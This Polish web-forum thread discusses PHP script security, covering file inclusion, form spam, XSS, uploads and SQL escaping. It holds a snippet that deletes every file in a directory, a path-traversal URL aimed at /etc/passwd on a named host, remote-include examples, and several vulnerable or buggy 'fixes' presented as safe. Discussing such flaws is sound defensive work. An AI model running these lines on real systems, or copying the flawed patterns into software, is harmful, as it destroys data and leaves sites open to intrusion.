Witam.
Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o http://forum.php.pl/index.php?showtopic=23258 lecz nie ma o ogólnym bezpieczeństwie skryptów.
1. Złe używanie include.
Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.
Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php
Kod php:
<?php include($_GET['plik']); ?>
<?php $katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */ while ($plik = http://www.php.net/readdir($katalog)) { http://www.php.net/unlink($file); } ?>
<?php include('./'.$_GET['katalog']); ?>
Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem i koszmarem. Jeśli już naprawdę musisz include'ować coś pochodzącego z adresu, to zrób sobie tablicę w skrypcie, coś w stylu:
<?php $tablica[1] = 'jakisplik1'; $tablica[2] = 'jakisplik2'; $tablica[3] = 'jakisplik3'; $tablica[4] = 'jakisplik4'; include $tablica[$_GET['costam']]; ?>
<?php if(file_exist('bezpieczny_katalog/'.$_GET['costam'].'.php')) { include 'bezpieczny_katalog/'.$_GET['costam'].'.php'; } ?>
A najczęstszym błędem jest stosowanie zmiennych bez odnoszenia się do tablic superglobalnych.
np.
<?php $var; // zamiast $_COOKIE['var']; $_POST['var']; $_GET['var']; $_SESSION['var']; ?>
<?php while (list($k, $v) = http://www.php.net/each ($_GET)) { ${$k} = $v; } ?>
<?php $g = & $_GET; // i mammy $g['id']; ?>
<?php if (http://www.php.net/ctype_alnum($_GET['go'])) { include $_GET['go'].'.php'; } ?>
To ja dodam od siebie jeszcze, że niektóre osoby pisząc aplikacje internetowe, stosują coś takiego jak przechowywanie poufnych danych o userze (po zalogowaniu) w pliku cookie. Taki potencjalny H4X0R może sobie potem swobodnie przeglądać zawartość tych plików i dowolnie je modyfikować. Najgorzej jest wtedy, gdy w takim pliku przechowywana jest wartość zmiennej odpowiedzialna np. za uprawnienia administratora... Wtedy wystarczy ją odpowiednio podmienić i śmiga .
Rozwiązaniem są sesje, które przechowują dane na serwerze.
Pozdrawiam.
Mozna nieco przefiltrowac zmiena ktora pzechowuje nazwe dolaczanego pliku. I jezeli jest to plik z innej domeny to adres zostanie nieco zmodyfikowany na tyle ze nie zostanie znaleziony.
Mozna jeszcze wszystkie includowane pliki przechowywac w jakims jednym katalogu i przed wywolaniem takiego pliku zawsze do zmiennej bedzie dolepiona sciezka co zmieni "niechciane linki" . Mozna tez sprawdzic czy includowany plik napewno pochodzi z naszej domeny http://pl.php.net/basename()
<?php if(http://www.php.net/isset($_GET['page'])){ $page = http://www.php.net/ereg_replace(\"://\",\"#\",$_GET['page']); }else{ $page='glowna'; } ?>
Po takiej filtracji ja bym sie czul zupelnie spokojnie.
<?php if(http://www.php.net/file_exists('skrypty/'.$page.'.php')){ include ('skrypty/'.http://www.php.net/basename($page.'.php')); }else{ include ('skrypty/glowna.php'); } ?>
sprawdzanie $_GET'ów etc. :
<?php if(http://www.php.net/is_int($_GET['id'])) ?>
a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux
o cos takiego :
<?php if(http://www.php.net/isset($_GET['id'])) { switch($_GET['id']) { case \"newsy\": case \"smieci\": $ref=$_GET['id'];break; default: $ref=\"newsy\"; } include(\"katalog/\".$ref.\".php\"); } ?>
<?php if(http://www.php.net/isset($_GET['id'])) { switch($_GET['id']) { case \"newsy\": case \"smieci\": $ref=$_GET['id'];break; default: $ref=\"newsy\"; } include(\"katalog/\".$ref.\".php\"); } ?>
<?php switch(@$_GET['id']) { case \"newsy\": case \"smieci\": $ref=$_GET['id'];break; default: $ref=\"newsy\"; } include(\"katalog/\".$ref.\".php\"); ?>
ja mam prosty skrypt:
<?php if(http://www.php.net/isset($_GET['mod'])) { $mod=$_GET['mod']; } else { $mod=\"news\"; } if(http://www.php.net/isset($_GET['act'])) { $act=$_GET['act']; } else { $act=\"list\"; } $file=$mod.'/'.$act.'.php'; if(!http://www.php.net/file_exists($file)) { http://www.php.net/die(); } else { include \"$file\"; } ?>
<?php if(!http://www.php.net/file_exists('katalog/'.$file.'.php')) { http://www.php.net/die(); } else { include('katalog/'.$file.'.php'); } ?>
<?php if(!http://www.php.net/file_exists('inc_'.$file.'.php')) { http://www.php.net/die(); } else { include('inc_'.$file.'.php'); } ?>
pamietejcie o zonku jaki moze zrobic haxior znakiem pustym:
czyli mam taki np kodzik:
<?php if(....){ include './skrypty/' . $_GET['plik'] . '.php'; } ?>
1. kolega pytal tylko czy mozna otworzyc w ten sposob zewnetrzne pliki
2. mysle ze uzycie file_exists() i basename() jest dobrym sposobem na dolaczanie plikow, ale jak jest ich stosunkowo niewiele zawsze najlepiej zrobic switcha
3. co do zanku pustego to dziala tam gdzie jest wylaczone automatyczne magic_quotes i ktos nie zabezpieczyl tego samemu
co do: http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd
to można to zabezpieczyć:
<?php ....przed includem $_GET['plik']=http://www.php.net/str_replace(\"/\", \"#\", $_GET['plik']); include $_GET['plik']; dalej.... ?>
<?php ....przed includem $_GET['plik']=http://www.php.net/str_replace(\"/\", \"#\", $_GET['plik']); include $_GET['plik']; dalej.... ?>
@bregovic:
Twój sposób
<?php $tablica[1] = 'jakisplik1'; $tablica[2] = 'jakisplik2'; $tablica[3] = 'jakisplik3'; $tablica[4] = 'jakisplik4'; include $tablica[$_GET['costam']]; ?>
A wystarczy dodac
$tablica = array();
przed jej uzyciem i po klopocie.
A poza tym to bylo tylko
Jeżeli już trzeba zrobić coś takiego:
<?include $_GET['id'].'.php';?>
<?php $file=$_GET['id'].'.php'; if(http://www.php.net/file_exists($file)) { include $file; } else { http://www.php.net/echo 'Błąd 404'; } ?>
<?php <form action='ksiega.php' method='post'> <input type='text' name='nick' value='twoj nick'> <textarea name='tekst'>Twoj tekst</textarea> <input type='submit' value='Wyslij'> </form> ?>
<?php $file=http://www.php.net/fopen('data.txt', a); $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>'; http://www.php.net/fwrite($file, $zawartosc); http://www.php.net/fclose($file); http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>'; ?>
<?php $file=http://www.php.net/fopen('data.txt', a); $nick=http://www.php.net/stripslashes($nick); $tekst=http://www.php.net/stripslashes($tekst); if(http://www.php.net/strlen($nick>10)) { http://www.php.net/die('Za długi nick'); } elseif(http://www.php.net/strlen($tekst>100)) { http://www.php.net/die('Za długi tekst'); } $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>'; http://www.php.net/fwrite($file, $zawartosc); http://www.php.net/fclose($file); http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>'; ?>
<?php $file=http://www.php.net/fopen('data.txt', a); $nick=http://www.php.net/stripslashes($nick); $tekst=http://www.php.net/stripslashes($tekst); $nick=http://www.php.net/strip_tags($nick); $tekst=http://www.php.net/strip_tags($tekst); if(http://www.php.net/strlen($nick>10)) { http://www.php.net/die('Za długi nick'); } elseif(http://www.php.net/strlen($tekst>100)) { http://www.php.net/die('Za długi tekst'); } $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>'; http://www.php.net/fwrite($file, $zawartosc); http://www.php.net/fclose($file); http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>'; ?>
<?php $file=http://www.php.net/fopen('data.txt', a); $_GET['nick']=http://www.php.net/stripslashes($_GET['nick']); $_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']); $_GET['nick']=http://www.php.net/strip_tags($_GET['nick']); $_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']); if(http://www.php.net/strlen($_GET['nick']>10)) { http://www.php.net/die('Za długi nick'); } elseif(http://www.php.net/strlen($_GET['tekst']>100)) { http://www.php.net/die('Za długi tekst'); } $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>'; http://www.php.net/fwrite($file, $zawartosc); http://www.php.net/fclose($file); http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>'; ?>
<?php $file=http://www.php.net/fopen('data.txt', a); $_GET['nick']=http://www.php.net/stripslashes($_GET['nick']); $_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']); http://www.php.net/flock($file, 2); $_GET['nick']=http://www.php.net/strip_tags($_GET['nick']); $_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']); if(http://www.php.net/strlen($_GET['nick']>10)) { http://www.php.net/die('Za długi nick'); } elseif(http://www.php.net/strlen($_GET['tekst']>100)) { http://www.php.net/die('Za długi tekst'); } $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>'; http://www.php.net/fwrite($file, $zawartosc); http://www.php.net/flock($file, 3); http://www.php.net/fclose($file); http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>'; ?>
A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?
<?php http://www.php.net/define('x', true); include 'lol.php'; ?>
<?php if(!x) http://www.php.net/die(); //reszta pliku ?>
W związku z ostatnim postem tutaj, który poruszał problem już omówiony postanowiłem trochę oczyścić ten wątek.
Kilka postów zostało usuniętych - zostały te które powinny zostać
Od tej chwili, proszę użytkowników zwłaszcza początkujących o czytanie tego wątku od początku a nie tylko dopisywanie się na końcu bez czytania całości tego wątku.
Czasem (a raczej często) rozwiązanie problemu jaki macie już padło. Warto poświęcić czas na odszukanie rozwiązania.
P.S.
To nie jest kącik lamerskich pytań!
Ja stosuję w sumie proste rozwiązanie, dodaje tylko strony do których użytkownik może wejść i tyle, jeżeli chce wejść na inną to jest przekierowany na str. główną
<?php $Section=$_GET['Section']; if($Section!='Main' && $Section!='Activate' && $Section!='Kolejna_strona' && $Section!='Inna_strona' && $Section!='Regulamin') http://www.php.net/header("Location: ?Section=Main"); else include_once($Section.".php"); ?>
No ale poco trzeba pisac nazwe skryptu? Skoro i tak juz to oifowales, to daj identyfikator a nie nazwe. Po co ktoś ma wiedziec jakie masz skrypty?
~huntercs możesz to zrobić bardziej elastycznie i elegancko:
<?php $_GET[ 'Section' ] = ( http://www.php.net/empty( $_GET[ 'Section' ] ) ) ? 'Main' : ''; $arrAllowSection = http://www.php.net/array( 'Main' => 'Main.php', 'Activate' => 'Activate.php', 'Inna_strona' => 'Inna_strona.php', 'Regulamin' => 'Regulamin.php' ); if( http://www.php.net/in_array( $_GET[ 'Section' ], $arrAllowSection ) ) { include_once( $arrAllowSection[ $_GET[ 'Section' ] ] ); } else { include_once( $arrAllowSection[ 'Main' ] ); } ?>
I like php-coding in this way
<?php include_once(((http://www.php.net/isset($_GET[ 'Section' ]) && !http://www.php.net/empty($_GET[ 'Section' ])) && http://www.php.net/is_file(http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php"))?http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php":'Main.php'); ?>
nie prosciej switch-em ?
<?php switch($_GET['id']){ case 'aa': include('aa.php');break; case 'bb': include('bb.php');break; default: include('main.php'); } ?>
Switch może być dobry w przypadku, gdy jest mało stron i ich ilość nie jest mobilna. Zauważ, że dla każdego pliku musisz doklepywać osobnego case'a, a można to przecież zrobić bardziej dynamicznie .
Jezeli programuje obiektowo to automatyzuje wybieranie stron przez wybieranie metod.
Zaluzmy ze $_GET['p'] odpowiada za podstrone:
<?php function get_page() { /*metoda zajmuje sie analizowaniem zmiennej p zgodnie z jej wartoscia przerzuca skrypt do metody link_wartosc */ if (!http://www.php.net/isset($_GET['p'])) { $this->link_index(); } else { $a=http://www.php.net/strtolower($_GET['p']); $a=http://www.php.net/ereg_replace('([^a-z0-9_-])',"",$a); if ($a=="") { $this->link_index(); } else { $z=method_exists($this,"link_".$a); if ($z==1) { http://www.php.net/eval('$this->link_'.$a.'();'); }else{ $this->error(); } } } } ?>
<?php include($_GET['plik']); ?>
<?php $katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */ while ($plik = http://www.php.net/readdir($katalog)) { http://www.php.net/unlink($file); } ?>
<?php include('./'.$_GET['katalog']); ?>
<? include('http://www.domena.pl/skrypt.php'); ?>
<? include($zmienna); ?>
<? include('katalog/'.$zmienna.'.php'); ?>
<?php include($_GET['file']); ?>
A ja z kolei dodam, że3 należałoby się przyjrzeć składni include i pochodnych. Zwłaszcza polecam lekturę: jak zachowuje sieinclude pobierając pliki z innych serwerów.
Kolega LamaMASTER myli się, da się zaincludować skrypt php z innego serwera, z drobnym ale... Uważacie, że apache na tym serwerze puści na źródło skryptu, bo my go o to poprosimy?... Nie? A jak zachowa się apache?...
I obyśmy tylko takich hakerów mieli, którzy skrypt niszczący odpalają z własnego serwera :-D
Na moim serwerze taki trick nie działa, dlatego byłem przekonany, że nie idzie (tak samo było u moich kolegów).
I tylko dlatego, ze u ciebie ten trick nie dziala, to jedziesz po innych uzytkownikach? oskarżasz ich o brak wiedzy, o brak testow tego co robią, o nieczytanie manuala? Zastanow sie co robisz.
Slyszales kiedys o czymś takim, ze kazdy serwer mozna inaczej skonfigurowac?
ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil
Ale przy postgresql, mssql czy oracle to już zadziała... pamiętaj, świat nie ogranicza się do mySQL
Wracajac do powyższej dyskusji na temat include to chcialbym i cos od siebie dodac.
Założmy, że manual klamie (to tak tylko na cele posta ) i include nie pozwala dołączać URLi z zewnatrz. Ważne jest tez, że administrator nie wpadł na takowy pomysł i nie ma poistawionego Apache'a na chroocie.
Mamy podany wyzej include o postaci:
<?php include($_GET['zmienna']); ?>
@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.
Co znaczy apach na chroocie?
Witam,
Mam pytanie, czy ten kod jest w miare bezpieczny?
<?php zapisz($_GET['sekcja']); ?>
<?php function zapisz($dbs) { $plik = 'database/'.$dbs.'.dbs'; $otworzplik = http://www.php.net/fopen($plik, 'w+') or http://www.php.net/die("Blad podczas otwierania!"); $zapiszplik = http://www.php.net/fwrite($otworzplik, $zamiana) or http://www.php.net/die("Blad podczas zapisywania!"); } ?>
Witam
Jestem nowy na forum i zgodnie z sugestią mike_mech'a przeczytałem cały wątek. Wydaje mi się że nie znalazłem odpowiedzi na moje pytanie, więc pozwolę sobie zapytać
Jakiś czas temu pojawił mi się problem z atakami przez formularze (np. mailowe) - we wszystkich wykorzystuję metodę $_POST. Mója znajmomość php pozwoliła mi na uzyskanie mniej więcej takiej jakości zabezpieczeń:
<http://december.com/html/4/element/form.html id="nazwa" method="post" action=""> <http://december.com/html/4/element/input.html type="text" name="pole_tekstowe" value="" /><http://december.com/html/4/element/br.html /> <http://december.com/html/4/element/input.html type="radio" name="jakies_radio" value="wartosc1" /><http://december.com/html/4/element/br.html /> <http://december.com/html/4/element/input.html type="checkbox" name ="jakis_check" value="T" /><http://december.com/html/4/element/br.html /> <http://december.com/html/4/element/input.html type="submit" name="wyslij" value="wyslij" /> </http://december.com/html/4/element/form.html>
<? /* w uproszeczeniu podam tylko moje "zabezpieczenia" */ if ($_POST['wyslij']) { /* podstawowe zabezpieczenie */ http://www.php.net/htmlspecialchars(http://www.php.net/strip_tags($_POST), ENT_QUOTES); /* jak chcę mieć spokój z radio i checkboxami to buduję tablice dopuszczelnych wa
rtości */ $tabl3 = http://www.php.net/array('', 'P', 'Z', 'I'); $valid = True; if (!http://www.php.net/in_array($_POST['jakies_radio'], $tabl3)) { $valid = False; } if ($valid != False) { do smth } /* jeśli mogę sobie na to pozwolić to sprawdzam URLa */ if ($_SERVER['HTTP_REFERER']!= 'http://www.mojastrona/index.php5?name=formularz') { http://www.php.net/die ('bad idea'); } else { wszystkie powyzsze zabezpieczenia } } else { $obj = new template_powyższego_htmla; } ?>
zabezpieczając się najpeirw należy się zastanowić przed czym się zabezpieczamy
1. po co htmlspecialchars(strip_tags( ? tego trzeba używać przy umieszczaniu danych w kodzie html (chyba ze na zapas), nie mowiac o tym ze w twoim przypadku jest to bledny zapis poniewaz zarowno strip_tags jak i htmlspecialchars nie moze przyjmowac jako argumentu tablicy. poza tym, przed sprawdzeniem poprawnosci danych nie powinno ich sie raczej zmieniac, uwazam ze walidacje powinno sie dokonywac na surowych danych takich jak dostarczono.
2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy. lepszym rozwiazaniem jest zastosoawnie jakiegos tokena (umieszczenie tokena w polu typu hidden i w sesji i potem sprawdzenie czy sie pokrywaja). btw, jest to zabezpieczenie przed proba bezposredniego wyslania danych z pominieciem wlasciwego formularza na stronie.
3. wszystko zalezy od przeznaczenia, jesli uwaznie przeczytales watek to byc moze zauwazyles ze nikt tutaj nie ma jednej skutecznej metody zabezpieczania. jesli umieszczasz dane w zapytaniach to trzeba np. uzyc mysql_real_escape_string, jesli dane wyswietlasz to htmlspecialchars, jesli chcesz sie zabezp przed xss to strip_tags [nawet bez tagow html da sie xss zastosowac, chociazby przez nieumiejetnie wykrozystany i napisany bbcode]. kombinacji i mozliwosc jest wiele, a bardzo duzo zalezy od specyfikacji danego problemu.
to może trochę sprecyzuję
Te zagrożone formularze na stronie wykorzystuję do przesyłania maili do konkretnego wskazanego odbiorcy w firmie. Jedne z formularzy to typowy formularz kontaktowy (imie, nazwisko, mail, twoja opinia), drugie to ankiety (dużo radiobuttonów, kilka textarea, kilka checkboxów)
Jakiś czas temu, ktoś zaczął podpinać się zewnetrznym formularzem i rozsyłać spamy - pakowali swoje nagłówki w maila i mieli pełną swobodę. Dlatego zastosowałem htmlspecialchars(strip_tags($_POST), ENT_QUOTES); - dało to taki efekt że przypinane zewnętrznie headers wyglądają mniej więcej tak:
Content-Type: text/plain; charset=\"us-ascii\"
więc już jest bezpieczniej,
$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?
<?php if(!$_POST['wyslij']) { pokaż formularz } else { if ($_SERVER['HTTP_REFERER'] !='www.mojastrona.costam?name=formularz') { http://www.php.net/die ('nie rob nic'); } else { wyslij formularz } } ?>
Wystarczy wysłać odpowiedni nagłówek i w nim zdefiniować dowolny http referer. Można to zrobić w php lub z użyciem takiego pluginu do firefoxa o nazwie `Live HTTP headers`
Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.
Jest formularz
<http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>
@NuLL: Skoro sprawdzałeś to OK, ale dla mnie to żaden problem by bot odsyłał dokładnie te same nagłówki jakie otrzymał od serwera (chodzi oczywiście o cookies) a wtedy sesja zostanie wykryta.
NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?
Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...
O to właśnie mi chodziło. Skrypt miałby się w przypadku zmiany danych pytać o hasło i login. Sesja zwykle wygasa u mnie po 30 minutach nieaktywności. Skrypt zbierający śmieci to załatwia.
Ciacho wygasa zawsze po 30 minutach od ostatniej nieaktywności.
Niestety SSLa nie potrzebuje, bo to nie jest jakis skrypt bankowy czy coś, tylko prosty zbiór dzieł różnych ludzi...
W swoim cms, nie wiem czy zrobić tak:
<?php if(http://www.php.net/file_exists('modules/'.$page.'.php')) { include ('modules/'.http://www.php.net/basename($page.'.php')); } else { include ('modules/news.php'); } ?>
A jakich powinno sie ustrzegac znakow w zmiennych przekazywanych drogą $_GET , $_POST itd., jeżeli zmienne te będa dalej wykorzystywane w skrypcie. Od razu powiem, ze nie chodzi mi o includowanie plikow, tylko o zwykle parametry, ktore maja wplyw na dalszy przebieg skryptu?
Czy zwykle stripslashes, strip_tags, trim lub funkcje zwiazane z mysql wystarcza?
A czy mój tok myślenia jest dobry? Mam zrobione logowanie, jęsli podane dane zgadzają sie:
<?php if($bazapass == $zpass) { $_SESSION['userid'] = $userid; $_SESSION['nick'] = $podanylogin; $_SESSION['level'] = $kto; } ?>
<?php if(!http://www.php.net/isset($_SESSION['level']) || $_GET['k'] > $_SESSION['level']) { http://www.php.net/echo ' SPIEPRZAJ DZIADU!'; http://www.php.net/exit; } ?>
a czy moglibyście powiedzieć czy ten skrypt jest bezpieczny??
system includowania stron
oraz w pliku includowanym:
<?php http://www.php.net/define ('_ABCDE_F', TRUE); .... .... if ($_GET['mode'] == "") {$_GET['mode'] = 'main';} if (http://www.php.net/file_exists("strony/$_GET['mode'".".php")) { include "strony/$_GET['mode'".".php"; }else { http://www.php.net/echo "Nie znaleziono pliku !!"; } ?>
co o tym myślicie??
<?php http://www.php.net/defined ('_ABCDE_F') or http://www.php.net/die('Bezpośrednie wywołanie pliku jest zabronione'); /* Reszta pliku */ ?>
A jak ktoś poda w zmiennej coś typu "../../../../root/jakiswaznyplik"?
@termit: to do mnie było
jesli tak to raczej nie widze możliwości..
chyba ze php obsługuje takie nielogiczne skrypty jak sciezka do pliku wygladajac tak:
strony/../../../../root/jakis_wazny_plik
i to w dodatku trzeba trafić idealnie żeby taki plik istniał w odpowiednim katalogu... troche trudne i nie logiczne..
co na to spece od php??
Przed chwilą przeczytałem http://rodion.infobot.pl/security/php/php_upload_pl.txt i nieco się zmieszałem. W jaki więc sposób powinniśmy upload'ować pliki na serwer? Szczególnie grafiki takie jak avatary użytkowników? Przyznaję, że wystraszyłem się o kilka swoich stron.
Szukałem, ale nie znalazłem nic innego na ten temat. Żadne ze znalezionych przeze mnie przykładów nie zawierają żadnych dodatkowych zabezpieczeń. Łatwiej znaleźć przykład kodu omijającego te zabezpieczenia niż faktycznego zabezpieczenia. Ktoś ma jakieś sugestie?
Spytam: czy zabezpiecza mnie fakt, że np. wszystkim przesłanym plikom (niby obrazkom) nadaję rozszerzenie jpg (konwertując wcześniej inne formaty grafik na jpg) ? Teoretycznie powinno mnie to zabezpieczyć, ponieważ serwer nie jest skonfigurowany tak, aby interpretować pliki jpg jako kod php. Ale co z innymi językami, np. Python wspomniany w powyższym artykule?
A jeśli to nie zapewnia mi bezpieczeństwa to czy upload'owanie plików poza document_root wystarczy? Wtedy musiałbym je odczytywać dodatkowym skryptem php pobierającym ich zawartość i wypluwającym ją do przeglądarki.
Nigdy nie powinno się ufać nagłówkom http, nagłówki te wstawia agent, którym się posługuje użytkownik a nie zawsze to musi być przeglądarka, może to być po prostu skrypt napisany przez kogoś, który chce wyciągnąć ważne informacje z naszego serwera.
W powyższym przypadku powinieneś po prostu użyć funkcji getimagesize() ona po zawartości pliku oceni jakiego typu jest plik czyli przy próbie przesłania skryptu php wywali błąd, który oczywiście możesz przechwycić i odrzucić plik.
Czyli jeśli będę miał np. wstawiony kod:
<?php if ($_GET['page'] == '') $_GET['page'] = 'news'; if(http://www.php.net/file_exists($_GET['page'].'.php')){ include($_GET['page'].'.php'); } else http://www.php.net/echo '<div id="blad">Nie znaleziono pliku.</div>'; ?>
@Najki jest proste rozwiązanie nadanie pliku własnej nazwy.
Ja mam po prostu numerowane pliczki, i każdy jeśli rozpoznam np. image/png to zapisuje {numer}.png a nazwa wysłanego co najwyżej służy do opisu w bazie co jako string nie jest niebezpieczne.
Co dziwne jest funkcja do sprawdzania mime mianowicie mime_content_type ale szukając na jej temat znalazłem tylko pliki magic.mime niestety jakoś nie udało mi się tego użyć. Choć przyznam, że tylko chwile siedziałem nad tym.
Mam nadzieję, że dobrze zrozumiałem naturę problemu.
no dobrze.. tylko ze tutaj jest sprawdzany typ pliku.. a jak by do tego dodac jeszcze sprawdzanie rozszerzenia przesyłanego pliku
bardziej wiarygodną rzeczą jest mime, bo plik image/jpeg moze mieć rozszerzenie jpg jpeg jpe i wiele innch dziwnych, czy po prostu niepoprawnych, zdarzało mi się że miałem plik o rozszerzeniu jpeg a program graficzny poinformował mnie że to jest gif i zmienił rozszerzenie.
Ogólnie lepiej oprzeć na mime a nazwę i rozszerzenie tworzyć samemu, bo oprócz rozszerzenia mogą być "błędne" nazwy plików.
Co do podanej przezemnie funkcji, to chyba po prostu zrobię ją sam (dość proste) tylko muszę znaleźć opis większej liczby formatów. Ale to będzie dość proste. (tak mi się wydaje)
Ale ogólnie po prostu nie możemy polegać na tym co mamy przesłane czy to mime czy to rozszerzenie.
Mimo wszystko jestem za tym aby plikom nadawać własne nazwy.
http://pl.php.net/manual/pl/function.getimagesize.php
a lista mime'ów, które php obsługuje jako graficzne jest tu
http://pl.php.net/manual/pl/function.image-type-to-mime-type.php
Wszystkie typy mime znajdziesz na googlach:
http://www.google.pl/search?hl=pl&q=mime+types
No to ten problem da się rozwiązać
Wystarczy wykorzystać:
0 string GIF image/gif
0 beshort 0xffd8 image/jpeg
0 string \x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR image/png
lub przy obrazkach można jak cadavre napisał wykorzystać getimagesize, a dokładniej coś co jest w manualu http://pl.php.net/http://pl.php.net/manual/pl/function.getimagesize.php
Ale też można rozpoznać inne typy:
0 string BZh application/x-bzip2
itd.
Już sobie odpowiedni kod wyklepałem, więc na przyszłość będę miał, no i to zagadnienie już mam troszkę rozpracowane.
Nie wynajdujcie koła na nowo. To wszystko już zostało dawno opracowane przez programistów php.
Jeśli chcecie wykryć typ pliku obrazu wtedy w zupełności wystarcza getimagesize()
Natomiast jeśli jakiegokolwiek pliku to skorzystajcie z rozszerzenia Fileinfo i funkcji http://pl2.php.net/manual/en/function.finfo-file.php
No tak jak ma się sklerozę... to trzeba się narobić
Ale głupio się czuję, przecież 'wiedziałem' że ta funkcja jest :/
No nic ale informacje i tak nie poszły na marne bo jeśli się pracuje u siebie na windowsie to trzeba mieć plik z mime (chyba, że znów popisuję się inteligencją czy raczej pamięcią)
Zabezpieczanie tablicy $_GET ( Żywcem wyjęte z maincore.php w php-Fusion )
Nie rozumiem tylko co robi ta linijka:
<?php public function check_get() { foreach ($_GET as $check_url) { if ((http://www.php.net/eregi("<[^>]*script*"?[^>]*>", $check_url)) || (eregi("<[^>]*object*"?[^>]*>", $check_url)) || (http://www.php.net/eregi("<[^>]*iframe*"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*"?[^>]*>", $check_url)) || (http://www.php.net/eregi("<[^>]*meta*"?[^>]*>", $check_url)) || (eregi("<[^>]*style*"?[^>]*>", $check_url)) || (http://www.php.net/eregi("<[^>]*form*"?[^>]*>", $check_url)) || (eregi("([^>]*"?[^)]*)", $check_url)) || (http://www.php.net/eregi(""", $check_url))) { return false; } else { return true; } } ?>
Tak mnie zastanawia co się stanie jeśli $_GET nie istnieje lub nie jest tablicą... (nie chce mi się teraz testować).
A jeszcze do podanego na drugiej stronie skryptu z flock, jest błędny, ponieważ ta funkcja zwraca true jeśli się jej uda a false jeśli nie, więc może wyjść, że plik jest używany zwróci false ale że nie sprawdzamy co zwraca skrypt leci dalej i robią się kłopoty.
Trzeba więc sprawdzać co zwraca, gdzieś zamieściłem jedną propozycję ale była na tyle prosta (jak i mogąca zawiesić skrypt) że jej nie podam.
Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?
Witam, chciałbym się was zapytać, czy przedstawiony przeze mnie poniżej kod ma coś wspólnego z bezpieczeństwem
<?php http://www.php.net/mysql_pconnect("localhost", "NAZWA_BAZY_DANYCH", "HASŁO"); http://www.php.net/mysql_select_db("JAKAŚTAM_TABELA"); $id = http://www.php.net/addslashes($_GET['id']); $sql = "SELECT * FROM nuke_pages WHERE pid = '$id'"; $result = http://www.php.net/mysql_query($sql); while($row = http://www.php.net/mysql_fetch_array($result)) { ?> <table><tr><td class="navpic" align="center"><font class="block-title"><strong><?php http://www.php.net/echo $row['title']; ?></strong></font></td></tr> <tr><td class="row1" align="justify"><font class="content"><?php http://www.php.net/echo $row['page_header']; ?><BR><BR><?php http://www.php.net/echo $row['text']; ?><BR><BR><?php http://www.php.net/echo $row['page_footer']; ?></font><BR><BR></td></tr></table><br> <? } ?>
Ivellios przeczytaj to co już jest, tam znajdziesz odpowiedź.
Musisz wiedzieć o 'grubszych' dziurach jakie się zdarzają sam, bo tak każdy skrypt byś musiał komuś podsyłać aby sprawdzić.
Co do tego co podałeś, to jeśli pid jest polem typu liczbowego, to powinieneś sprawdzić czy $_GET['id'] jest liczbą, jak jest to dobrze jak nie to ignorujesz. A addslash w takim wypadku jest zbędny, bo jak jest liczbą to nie może mieć innych znaków.
Co do tego addslasha to zmieniłem go na mysql_escape_string. A jak będę miał wolną chwilkę to przejrzę cały temacik i pomyślę, co by jeszcze "ubezpiecznić"
Przeczytałem cały topic - filtrowanie, if fileexist - tylko po co to? Mam taki kod i nie ma bata żeby ktoś tu coś innego includował:
upaupa widocznie nie czytałeś wszystkiego... bo już lepiej użyć switch niż taką konstrukcję, a dlaczego mimo wszystko tak nie jest najlepiej, masz napisane wcześniejszych postach.
a co za różnica czy switch czy else if? - żadna oprócz no powiedzmy przejrzystości kodu. Post przeanalizowałem dokładnie i dalej sądzę że w tym kodzie co podałem nic innego nie da się includować
Przecież przejrzystość i łatwość rozbudowy kodu jest ważna.
A czy ja twierdziłem że można się włamać? Chodziło mi o sens budowy sprawdzania zamiast konstrukcji zamkniętych.
Witam,
Postanowiłem popracować troche nad bezpieczeństwem pewnej stronki...
